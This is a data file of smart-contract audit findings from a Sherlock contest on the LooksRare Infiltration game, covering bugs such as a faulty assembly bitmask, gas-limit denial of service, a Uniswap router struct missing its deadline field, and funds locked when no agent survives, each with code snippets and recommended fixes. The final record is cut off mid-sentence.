+{"title":"High Costs Incurred Due to Lack of Business Logic in the Protocol","severity":"medium","body":"Fancy Tortilla Elk\n\nmedium\n\n# High Costs Incurred Due to Lack of Business Logic in the Protocol\n## Summary\nIn the provided docs, a specific game logic is outlined: \"Every 50 blocks (approximately 10 minutes), 0.2% of all active agents are randomly set to a 'wounded' status.\"\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1404-L1416C10\n\nThis logic implies that if no one heals or escapes, it takes 2,271 rounds to finish the game. During the last 49 rounds, only one agent will be wounded each round. So in the remaining 2,222 rounds, the outcomes are the following:\n- in 72 rounds 7 agents wounded\n- in 83 rounds 6 agents wounded\n- in 100 rounds 5 agents wounded\n- in 125 rounds 4 agents wounded\n- in 166 rounds 3 agents wounded\n- in 250 rounds 2 agents wounded\n- in 949 rounds 1 agents wounded\n\nAs shown above, in 949 rounds, only one agent is wounded. The cost for each round includes LINK and transaction fees,\nThese 949 rounds constitute 41.79% of the total rounds and will cost 41.79% of all costs.\nIf we assume each round costs 3 LINK each LINK $10 (I don't consider transaction fees), the total rounds (2271) will cost 68130, and the 949 rounds cost 28470. If in 949 rounds just one agent heals the cost will be double, around 56940.\n\n## Vulnerability Detail\nhttps://docs.google.com/spreadsheets/d/1gbaUikPH-q3v-pje9rw__UiHbAt7KNPmoAFj0I9sjS4/edit?usp=sharing\n## Impact\nThe protocol incurs significant costs due to this logic.\n## Code Snippet\n```solidity\n woundedAgentsCount =\n (activeAgents * AGENTS_TO_WOUND_PER_ROUND_IN_BASIS_POINTS) /\n ONE_HUNDRED_PERCENT_IN_BASIS_POINTS;\n // At some point the number of agents to wound will be 0 due to round down, so we set it to 1.\n if (woundedAgentsCount == 0) {\n woundedAgentsCount = 1;\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nTo reduce costs and improve efficiency, it is suggested to increase 0.2% after some rounds, but if it isn't feasible, it is recommended to modify the code to select 2 wardens instead of 1. By making this change, the number of rounds will decrease from 949 rounds to 474 rounds. This change will lead to substantial cost savings.\n```diff\n woundedAgentsCount =\n (activeAgents * AGENTS_TO_WOUND_PER_ROUND_IN_BASIS_POINTS) /\n ONE_HUNDRED_PERCENT_IN_BASIS_POINTS;\n \n+ if (activeAgents < 1000 && activeAgents > 51){ //@audit for agents unders 1000 pick 2 agents\n+ woundedAgentsCount = 2;\n+ }\n // At some point the number of agents to wound will be 0 due to round down, so we set it to 1.\n if (woundedAgentsCount == 0) {\n woundedAgentsCount = 1;\n }\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//014-M/004-best.md"}} +{"title":"Incorrect bitmask used in _swap will lead to ids in agents mapping to be corrupted","severity":"major","body":"Fun Aegean Halibut\n\nhigh\n\n# Incorrect bitmask used in _swap will lead to ids in agents mapping to be corrupted\n## Summary\nInfiltration smart contract uses a common pattern when handling deletion in arrays:\nSay we want to delete element i in array of length N:\n\n1/ We swap element at index i with element at index N-1\n2/ We update the length of the array to be N-1\n\nInfiltration uses `_swap()` method to do this with a twist:\nIt updates the status of the removed agent to `Killed`, and initializes id of last agent if it is uninitialized. \n\nThere is a mistake in a bitmask value used for resetting the id of the last agent, which will mess up the game state.\n\nLines of interest for reference:\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1582-L1592\n\n## Vulnerability Detail\n\nLet's take a look at the custom `assembly` block used to assign an id to the newly allocated `lastAgent`:\n\n```solidity\nassembly {\n let lastAgentCurrentValue := sload(lastAgentSlot)\n // Replace the last agent's ID with the current agent's ID.\n--> lastAgentCurrentValue := and(lastAgentCurrentValue, not(AGENT__STATUS_OFFSET))\n lastAgentCurrentValue := or(lastAgentCurrentValue, lastAgentId)\n sstore(currentAgentSlot, lastAgentCurrentValue)\n\n let lastAgentNewValue := agentId\n lastAgentNewValue := or(lastAgentNewValue, shl(AGENT__STATUS_OFFSET, newStatus))\n sstore(lastAgentSlot, lastAgentNewValue)\n}\n```\n\nThe emphasized line shows that `not(AGENT__STATUS_OFFSET)` is used as a bitmask to set the `agentId` value to zero.\nHowever `AGENT__STATUS_OFFSET == 16`, and this means that instead of setting the low-end 2 bytes to zero, this will the single low-end fifth bit to zero. Since bitwise or is later used to assign lastAgentId, if the id in lastAgentCurrentValue is not zero, and is different from lastAgentId, the resulting value is arbitrary, and can cause the agent to be unrecoverable. \n\nThe desired value for the mask is `not(TWO_BYTES_BITMASK)`:\n\n```solidity\n not(AGENT__STATUS_OFFSET) == 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffef\n not(TWO_BYTES_BITMASK) == 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000\n```\n\n## Impact\nThe ids of the agents will be mixed, this could mean that some agents will be unrecoverable, or duplicated.\nSince the attribution of the grand prize relies on the `agentId` stored, we may consider that the legitimate winner can lose access to the prize.\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n```diff\nassembly {\n let lastAgentCurrentValue := sload(lastAgentSlot)\n // Replace the last agent's ID with the current agent's ID.\n- lastAgentCurrentValue := and(lastAgentCurrentValue, not(AGENT__STATUS_OFFSET))\n+ lastAgentCurrentValue := and(lastAgentCurrentValue, not(TWO_BYTES_BITMASK))\n lastAgentCurrentValue := or(lastAgentCurrentValue, lastAgentId)\n sstore(currentAgentSlot, lastAgentCurrentValue)\n\n let lastAgentNewValue := agentId\n lastAgentNewValue := or(lastAgentNewValue, shl(AGENT__STATUS_OFFSET, newStatus))\n sstore(lastAgentSlot, lastAgentNewValue)\n}\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//013-H/027-best.md"}} +{"title":"New round might be not possible because of high number of loops","severity":"medium","body":"Quick Silver Stallion\n\nhigh\n\n# New round might be not possible because of high number of loops\n## Summary\nWhen the `NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS` is reached the new round will start killing the wounded people either from the round 1 or the round from `currentRoundId.unsafeSubtract(ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD)` depending on the current round state. If the `ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD` is not reached but the active agents are lesser than 50 then the new round will start killing wounded agents from round 1 to current round. This process can be very gas extensive and cause the function to revert because the gas provided will never be enough. More details on the scenario will be provided in the below section. \n## Vulnerability Detail\nAssume we have 10000 agents (total supply), `AGENTS_TO_WOUND_PER_ROUND_IN_BASIS_POINTS = 20` and `ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD = 48` note that those constant values are directly taken from the actual test file so I am assuming these values are considered to be used. \n\nNow starting from the round 1 to round 48 the wounded agents will not be killed. So assuming the above values let's see how many wounded agents we will have at the round 48 assuming that there are no heals on the wounded agents.\n\nFirst this is the formula for wounded agents in a given round:\n```solidity\nwoundedAgentsCount =\n (activeAgents * AGENTS_TO_WOUND_PER_ROUND_IN_BASIS_POINTS) /\n ONE_HUNDRED_PERCENT_IN_BASIS_POINTS;\n```\nNow, let's plug this formula to Remix to see what would be the wounded agents from round 1 to round 48 assuming there are no heals.\n\n```solidity\nfunction someMath() external {\n uint activeAgents = 10_000;\n uint AGENTS_TO_WOUND_PER_ROUND_IN_BASIS_POINTS = 20;\n uint ONE_HUNDRED_PERCENT_IN_BASIS_POINTS = 10_000;\n for (uint i; i < 48; ++i) {\n uint res = (activeAgents * AGENTS_TO_WOUND_PER_ROUND_IN_BASIS_POINTS) / ONE_HUNDRED_PERCENT_IN_BASIS_POINTS;\n\n activeAgents -= res;\n\n r.push(res);\n }\n }\n```\nwhen we execute the above code snippet we will see the array result and the sum of wounded agents as follows:\nuint256[]: 20,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18\nsum = 892\n\nThat means that in 48 rounds there will be 892 wounded agents assuming none of them healed. Since the wounded agents are not counted as \"active\" agents the total active agents would be 10_000 - 892 = 9108\n\nNow, let's assume at round 48 the active agent count is < 50, that can happen if agents are escapes in that interval + the wounded are not counted. That means we have 892 agents wounded and there are 9060 agents escaped. Which means 10000 - (892 + 9060) = 48 which is lesser than 50 and the next time we call the startNewRound() we will execute the following code:\n```solidity\nif (activeAgents <= NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS) {\n uint256 woundedAgents = gameInfo.woundedAgents;\n\n if (woundedAgents != 0) {\n uint256 killRoundId = currentRoundId > ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD\n ? currentRoundId.unsafeSubtract(ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD)\n : 1;\n\n // @audit totalSupply() - gameInfo.deadAgents - gameInfo.escapedAgents;\n uint256 agentsRemaining = agentsAlive();\n uint256 totalDeadAgentsFromKilling;\n while (woundedAgentIdsPerRound[killRoundId][0] != 0) {\n uint256 deadAgentsFromKilling = _killWoundedAgents({\n roundId: killRoundId,\n currentRoundAgentsAlive: agentsRemaining // 200\n });\n unchecked {\n totalDeadAgentsFromKilling += deadAgentsFromKilling; // 2\n agentsRemaining -= deadAgentsFromKilling; // 148\n ++killRoundId;\n }\n }\n```\n\nAs we can see the while loop will be executed starting from roundId 0 to 48 and starts killing the 892 wounded agents. However, this is extremely high number and the amount of SSTORE and SLOAD is too much. Calling this function will fail because it is not possible to do the loop 48 times for 892+ storage changes. This will result the game to stop and not be able to level up to the next round.\n## Impact\nThe game will be impossible to play if the above condition is satisfied which is not an extreme case because escapes can happen randomly and easily. The values for ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD and total supply does not really change this because of the escapes are not limited. Therefore, I'll label this as high.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L579-L651\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1096-L1249\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1404-L1463\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1477-L1508\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//012-M/028-best.md"}} +{"title":"Infiltration._killWoundedAgents eventually will revert because of block gas limit","severity":"medium","body":"Smooth Leather Mallard\n\nmedium\n\n# Infiltration._killWoundedAgents eventually will revert because of block gas limit\n## Summary\n\nInfiltration._killWoundedAgents eventually will revert because of block gas limit\n\n## Vulnerability Detail\n\nInfiltration._killWoundedAgents function is looping through all wounded agents and does at least `woundedAgentIdsCount` amount of external calls/swaps (when all agents are not wounded). This all consumes a lot of gas and each new wounded agent increases loop size. It means that after some time `woundedAgentIdsPerRound` mapping will be big enough that the gas amount sent for function will be not enough to retrieve all data. So the function will revert.\n\n## Impact\n\nFunction will always revert and whoever depends on it will not be able to get information.\n\n## Code Snippet\n\n[https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1477-L1505](https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1477-L1505)\n\n```solidity\n\n function _killWoundedAgents(\n uint256 roundId,\n uint256 currentRoundAgentsAlive\n ) private returns (uint256 deadAgentsCount) {\n uint16[MAXIMUM_HEALING_OR_WOUNDED_AGENTS_PER_ROUND_AND_LENGTH]\n storage woundedAgentIdsInRound = woundedAgentIdsPerRound[roundId];\n uint256 woundedAgentIdsCount = woundedAgentIdsInRound[0];\n uint256[] memory woundedAgentIds = new uint256[](woundedAgentIdsCount);\n for (uint256 i; i < woundedAgentIdsCount; ) {\n uint256 woundedAgentId = woundedAgentIdsInRound[i.unsafeAdd(1)];\n\n\n uint256 index = agentIndex(woundedAgentId);\n if (agents[index].status == AgentStatus.Wounded) {\n woundedAgentIds[i] = woundedAgentId;\n _swap({\n currentAgentIndex: index,\n lastAgentIndex: currentRoundAgentsAlive - deadAgentsCount,\n agentId: woundedAgentId,\n newStatus: AgentStatus.Dead\n });\n unchecked {\n ++deadAgentsCount;\n }\n }\n\n\n unchecked {\n ++i;\n }\n }\n\n```\n\n## Tool used\n\nManual Review + in-house tool\n\n## Recommendation\nadd some start and end indices to functions.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//012-M/012.md"}} +{"title":"Permanent DoS - inappropriate struct definition makes every call to UniSwap V3 `SwapRouter` contract's function `exactOutputSingle` to always revert","severity":"medium","body":"Attractive Cider Oyster\n\nmedium\n\n# Permanent DoS - inappropriate struct definition makes every call to UniSwap V3 `SwapRouter` contract's function `exactOutputSingle` to always revert\n## Summary\n\nThe `ExactOutputSingleParams` struct definition from `IV3SwapRouter.sol` is different from `UniSwap V3`'s and is incompatible with the function `exactOutputSingle`. As a result, `exactOutputSingle` always reverts.\n\n## Vulnerability Detail\n\nLet's look at the following code snippet placed inside the `heal` function in the file `InfiltrationPeriphery.sol`:\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L48-L56\n\nThe variable `params` has type `ExactOutputSingleParams`, which is a struct defined in the file `IV3SwapRouter.sol`:\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/interfaces/IV3SwapRouter.sol#L7-L15\n\nIn the `heal` function, the swap is performed using `params` as an argument:\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L58\n\nThis `exactOutputSingle` function call causes a runtime error and the function reverts, because the `exactOutputSingle` function expects `UniSwap V3`'s definition of the `ExactOutputSingleParams` struct, which is different from the one in `IV3SwapRouter.sol`. The original `UniSwap V3`'s definition of `ExactOutputSingleParams` is:\n\nhttps://github.com/Uniswap/v3-periphery/blob/697c2474757ea89fec12a4e6db16a574fe259610/contracts/interfaces/ISwapRouter.sol#L39-L48\n\n`UniSwap V3`'s struct definition has one more line:\n\nhttps://github.com/Uniswap/v3-periphery/blob/697c2474757ea89fec12a4e6db16a574fe259610/contracts/interfaces/ISwapRouter.sol#L44\n\nthan the custom struct defined in `IV3SwapRouter.sol`. This is an issue, because the definition of `UniSwap V3`'s `exactOutputSingle` function is:\n\nhttps://github.com/Uniswap/v3-periphery/blob/697c2474757ea89fec12a4e6db16a574fe259610/contracts/SwapRouter.sol#L203-L221\n\nThe line:\n\nhttps://github.com/Uniswap/v3-periphery/blob/697c2474757ea89fec12a4e6db16a574fe259610/contracts/SwapRouter.sol#L207\n\nexpects the function input struct `params` to have a field `deadline`, but this field is missing in `ExactOutputSingleParams` struct defined in `IV3SwapRouter.sol`. In other words, the `checkDeadline` function expects `params.deadline`, which is missing. As a result, there is an EVM runtime error and the function reverts.\n\n## Impact\n\nPermanent DoS - the function `heal` from `InfiltrationPeriphery.sol` will be unusable as the line: \n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L58\n\nwill always revert, because the struct definition used is incompatible.\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nReplace the custom `ExactOutputSingleParams` struct definition from the file `IV3SwapRouter.sol`:\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/interfaces/IV3SwapRouter.sol#L7-L15\n\nwith `UniSwap V3`'s definition:\n\nhttps://github.com/Uniswap/v3-periphery/blob/697c2474757ea89fec12a4e6db16a574fe259610/contracts/interfaces/ISwapRouter.sol#L39-L48\n\nAfter that, set the `deadline` field in the `heal` function to some appropriate value that is not dependant on `block.timestamp`:\n\n```solidity\nfunction heal(uint256[] calldata agentIds) external payable {\n uint256 costToHealInLOOKS = INFILTRATION.costToHeal(agentIds);\n\n IV3SwapRouter.ExactOutputSingleParams memory params = IV3SwapRouter.ExactOutputSingleParams({\n tokenIn: WETH,\n tokenOut: LOOKS,\n fee: POOL_FEE,\n recipient: address(this),\n>>> deadline: , <<<\n amountOut: costToHealInLOOKS,\n amountInMaximum: msg.value,\n sqrtPriceLimitX96: 0\n });\n\n uint256 amountIn = SWAP_ROUTER.exactOutputSingle{value: msg.value}(params);\n\n IERC20(LOOKS).approve(address(TRANSFER_MANAGER), costToHealInLOOKS);\n\n INFILTRATION.heal(agentIds);\n\n if (msg.value > amountIn) {\n SWAP_ROUTER.refundETH();\n unchecked {\n _transferETHAndWrapIfFailWithGasLimit(WETH, msg.sender, msg.value - amountIn, gasleft());\n }\n }\n }\n```\n\nThe line that is added starts with `>>>` and ends with `<<<`.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//011-M/126.md"}} +{"title":"`InfiltrationPeriphery.sol` is useless since the swap router parameters are wrong and the functions will revert all the time","severity":"medium","body":"Handsome Metal Gorilla\n\nhigh\n\n# `InfiltrationPeriphery.sol` is useless since the swap router parameters are wrong and the functions will revert all the time\n## Summary\nThe two functions used in the `InfiltrationPeriphery.sol` will revert all the time because the parameters used for the swap router are wrong.\n## Vulnerability Detail\n`InfiltrationPeriphery.sol` has two functions, `costToHeal` used to see how much it will cost to heal an agent in WETH, by calling `QuoterV2` and `heal` that is used to heal an agent by using WETH, swapped by using the UniswapV3 router. The problem relies in the fact that the parameters used in the `heal` function to call `exactOutputSingle` in the swap router are wrong. In the `InfiltrationPeriphery.sol` contract the parameters used look like this \nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/interfaces/IV3SwapRouter.sol#L7-L15\nwhile the one from the UniswapV3 docs look like this \n![image](https://github.com/sherlock-audit/2023-10-looksrare-VagnerAndrei26/assets/111457602/5ba1d2d8-9660-4b82-8d52-fcfb419815e9)\nas you can see, it is missing the deadline parameters. Because of that, anytime the contract will try to call `exactOutputSingle` with those parameters the call will revert, because the decoding will expect a bigger number of parameters, and it will not find the deadline one to be checked here \nhttps://github.com/Uniswap/v3-periphery/blob/697c2474757ea89fec12a4e6db16a574fe259610/contracts/SwapRouter.sol#L207\nmaking the function, and pretty much the whole contract unusable.\n## Impact\nImpact is a high one since the contract is rendered unusable.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L48-L56\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd the deadline parameter, so the function will not revert.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//011-M/026-best.md"}} +{"title":"The number of activeAgents could be zero and this will lead to loss of fund in the contract","severity":"medium","body":"Funny Daffodil Stallion\n\nhigh\n\n# The number of activeAgents could be zero and this will lead to loss of fund in the contract\n## Summary\n\nVia VRF request, in the fullfillRandomWord function of Infiltration.sol, activeAgents will be 0 and the final winner will not get the Grand Prize and the ETH(gameInfo.prizePool) will be stuck in the contract forever.\n\n## Vulnerability Detail\n\nAfter receiving random words from VRF, in fulfillRandomWords function the activeAgents can be 0 and the final winner can't claim the Grand Prize and also the owner can't withdraw the ETH in the contract.\n```solidity\nif (activeAgents > NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS) {\n uint256 woundedAgents = _woundRequestFulfilled(\n currentRoundId,\n currentRoundAgentsAlive,\n activeAgents,\n currentRandomWord\n );\n\n uint256 deadAgentsFromKilling;\n if (currentRoundId > ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD) {\n deadAgentsFromKilling = _killWoundedAgents({\n roundId: currentRoundId.unsafeSubtract(ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD),\n currentRoundAgentsAlive: currentRoundAgentsAlive\n });\n }\n\n // We only need to deduct wounded agents from active agents, dead agents from killing are already inactive.\n\n // This is equivalent to\n // unchecked {\n // gameInfo.activeAgents = activeAgents - woundedAgents;\n // gameInfo.woundedAgents = gameInfo.woundedAgents + woundedAgents - deadAgentsFromKilling;\n // gameInfo.deadAgents += (deadAgentsFromHealing + deadAgentsFromKilling);\n // }\n // SSTORE is called in _incrementRound\n uint256 gameInfoSlot0Value;\n assembly {\n gameInfoSlot0Value := sload(gameInfo.slot)\n\n let currentWoundedAgents := and(\n shr(GAME_INFO__WOUNDED_AGENTS_OFFSET, gameInfoSlot0Value),\n TWO_BYTES_BITMASK\n )\n let currentDeadAgents := and(shr(GAME_INFO__DEAD_AGENTS_OFFSET, gameInfoSlot0Value), TWO_BYTES_BITMASK)\n\n gameInfoSlot0Value := and(\n gameInfoSlot0Value,\n // This is equivalent to\n // not(\n // or(\n // TWO_BYTES_BITMASK,\n // or(\n // shl(GAME_INFO__WOUNDED_AGENTS_OFFSET, TWO_BYTES_BITMASK),\n // shl(GAME_INFO__DEAD_AGENTS_OFFSET, TWO_BYTES_BITMASK)\n // )\n // )\n // )\n 0xffffffffffffffffffffffffffffffffffffffffffffffff0000ffff00000000\n )\n gameInfoSlot0Value := or(gameInfoSlot0Value, sub(activeAgents, woundedAgents))\n\n gameInfoSlot0Value := or(\n gameInfoSlot0Value,\n shl(\n GAME_INFO__WOUNDED_AGENTS_OFFSET,\n sub(add(currentWoundedAgents, woundedAgents), deadAgentsFromKilling)\n )\n )\n\n gameInfoSlot0Value := or(\n gameInfoSlot0Value,\n shl(\n GAME_INFO__DEAD_AGENTS_OFFSET,\n add(currentDeadAgents, add(deadAgentsFromHealing, deadAgentsFromKilling))\n )\n )\n }\n _incrementRound(currentRoundId, gameInfoSlot0Value);\n} else {\n uint256 killedAgentIndex = (currentRandomWord % activeAgents).unsafeAdd(1);\n Agent storage agentToKill = agents[killedAgentIndex];\n uint256 agentId = _agentIndexToId(agentToKill, killedAgentIndex);\n _swap({\n currentAgentIndex: killedAgentIndex,\n lastAgentIndex: currentRoundAgentsAlive,\n agentId: agentId,\n newStatus: AgentStatus.Dead\n });\n\n unchecked {\n --activeAgents;\n }\n\n // This is equivalent to\n // unchecked {\n // gameInfo.activeAgents = activeAgents;\n // gameInfo.deadAgents = gameInfo.deadAgents + deadAgentsFromHealing + 1;\n // }\n // SSTORE is called in _incrementRound\n uint256 gameInfoSlot0Value;\n assembly {\n gameInfoSlot0Value := sload(gameInfo.slot)\n let deadAgents := and(shr(GAME_INFO__DEAD_AGENTS_OFFSET, gameInfoSlot0Value), TWO_BYTES_BITMASK)\n\n gameInfoSlot0Value := and(\n gameInfoSlot0Value,\n // This is equivalent to not(or(TWO_BYTES_BITMASK, shl(GAME_INFO__DEAD_AGENTS_OFFSET, TWO_BYTES_BITMASK)))\n 0xffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffff0000\n )\n gameInfoSlot0Value := or(gameInfoSlot0Value, activeAgents)\n gameInfoSlot0Value := or(\n gameInfoSlot0Value,\n shl(GAME_INFO__DEAD_AGENTS_OFFSET, add(add(deadAgents, deadAgentsFromHealing), 1))\n )\n }\n\n uint256[] memory killedAgentId = new uint256[](1);\n killedAgentId[0] = agentId;\n emit Killed(currentRoundId, killedAgentId);\n\n _emitWonEventIfOnlyOneActiveAgentRemaining(activeAgents);\n\n _incrementRound(currentRoundId, gameInfoSlot0Value);\n}\n```\nSuppose activeAgents = 1 and the VRF request is called, since activeAgent is 1 and this will reduced by 1 in L1209\n```solidity\nunchecked {\n --activeAgents;\n }\n```\nAnd this means activeAgents is now 0.\nThis game status will save in L1218~1233.\n```solidity\nuint256 gameInfoSlot0Value;\n assembly {\n gameInfoSlot0Value := sload(gameInfo.slot)\n let deadAgents := and(shr(GAME_INFO__DEAD_AGENTS_OFFSET, gameInfoSlot0Value), TWO_BYTES_BITMASK)\n\n gameInfoSlot0Value := and(\n gameInfoSlot0Value,\n // This is equivalent to not(or(TWO_BYTES_BITMASK, shl(GAME_INFO__DEAD_AGENTS_OFFSET, TWO_BYTES_BITMASK)))\n 0xffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffff0000\n )\n gameInfoSlot0Value := or(gameInfoSlot0Value, activeAgents)\n gameInfoSlot0Value := or(\n gameInfoSlot0Value,\n shl(GAME_INFO__DEAD_AGENTS_OFFSET, add(add(deadAgents, deadAgentsFromHealing), 1))\n )\n }\n```\nSince activeAgents is 0, the winner can't claim his reward.\n```solidity\nfunction claimGrandPrize() external nonReentrant {\n _assertGameOver();\n ...\n}\nfunction _assertGameOver() private view {\n if (gameInfo.activeAgents != 1) {\n revert GameIsStillRunning();\n }\n}\n```\nFurthermore the owner of the contract can't not withdraw the funds using emergencyWithdraw.\nBecause in case of currentRoundId >0, activeAgents = 0, the conditionOne, conditionTwo, conditionThree all are false.\n```solidity\nbool conditionOne = currentRoundId != 0 &&\n activeAgents + woundedAgents + healingAgents + escapedAgents + deadAgents != totalSupply();\n\n// 50 blocks per round * 216 = 10,800 blocks which is roughly 36 hours\n// Prefer not to hard code this number as BLOCKS_PER_ROUND is not always 50\nbool conditionTwo = currentRoundId != 0 && // @audit-info this checks for the time elapsed since the game started.\n activeAgents > 1 &&\n block.number > currentRoundBlockNumber + BLOCKS_PER_ROUND * 216;\n\n// Just in case startGame reverts, we can withdraw the ETH balance and redistribute to addresses that participated in the mint.\nbool conditionThree = currentRoundId == 0 && block.timestamp > uint256(mintEnd).unsafeAdd(36 hours);\n\nif (conditionOne || conditionTwo || conditionThree) {\n uint256 ethBalance = address(this).balance;\n _transferETHAndWrapIfFailWithGasLimit(WETH, msg.sender, ethBalance, gasleft());\n\n uint256 looksBalance = IERC20(LOOKS).balanceOf(address(this));\n _executeERC20DirectTransfer(LOOKS, msg.sender, looksBalance);\n\n emit EmergencyWithdrawal(ethBalance, looksBalance);\n}\n```\nSo the rescue of funds in the contract is impossible.\n## Impact\nIf VRF request => Infiltration.sol#fulfillRandomWords => gameInfo.activeAgents = 0 happens, the final winner of the game can't claim the prize and the funds will be locked the contract forever.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1096\n## Tool used\n\nManual Review\n\n## Recommendation\nIn the function fulfillRandomWords, there has to a check for activeAgents is not 0.\n\n```solidity\nunchecked {\n --activeAgents; // L1209\n }\n\nrequire(activeAgents > 0, \"Zero active agents\"); // L1212 +\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//010-M/065-best.md"}} +{"title":"If game has only 1 participant then there will be no winner and ETH will be stuck in the game contract","severity":"medium","body":"Quick Silver Stallion\n\nmedium\n\n# If game has only 1 participant then there will be no winner and ETH will be stuck in the game contract\n## Summary\nThe game can commence under two conditions:\n\n1- Once the total supply is reached.\n2- When the mintEnd time is reached.\nIf the game has only one participant, then as soon as the game starts, the first fulfillRandomWords request from Chainlink will eliminate the sole agent, reducing the number of alive agents to zero. With no surviving agents, there will be no prize to claim. Even though the only claimable prize would have been the ETH deposited by that lone agent, the agent's ETH will not be refunded.\n## Vulnerability Detail\nAssume there are many games played at the same time and one of the games has no participants and only 1 participant which is Alice and she deposited some ETH to bought her only agent. When the game starts because `block.timestamp > mintEnd` the very first chainlink call will kill the only agent which is the Alice's agent. This will make the alive agents as 0 and the ETH Alice deposited is stucked at the game contract. Alice can not call the `claimGrandPrize` to get her ETH back because of this check:\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L657\n\n## Impact\nAlthough it is not very likely to begin a game with only 1 agent it is still possible especially if there can be many games played simultaneously. Also, if such case happens owner can use the emergency withdraw to reimburse Alice's ETH. Considering all of that I label this as medium since it requires an additional tx from the owner and also it spends unnecessary LINK tokens when it calls the fulfill request. So there are some funds lost for the owner and the functionality is not fully correct (do not start the game with only 1 agent)\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L499-L523\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1096-L1249\n## Tool used\n\nManual Review\n\n## Recommendation\nDo not let a game start with only 1 agent","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//010-M/022.md"}} +{"title":"The winning agent continues to be transferrable even after the grand prize has been claimed.","severity":"medium","body":"Quiet Sandstone Osprey\n\nmedium\n\n# The winning agent continues to be transferrable even after the grand prize has been claimed.\n## Summary\n\nThe winning agent carries substantial financial value, which would be attractive on secondary marketplaces.\n\nHowever, even after claiming the grand 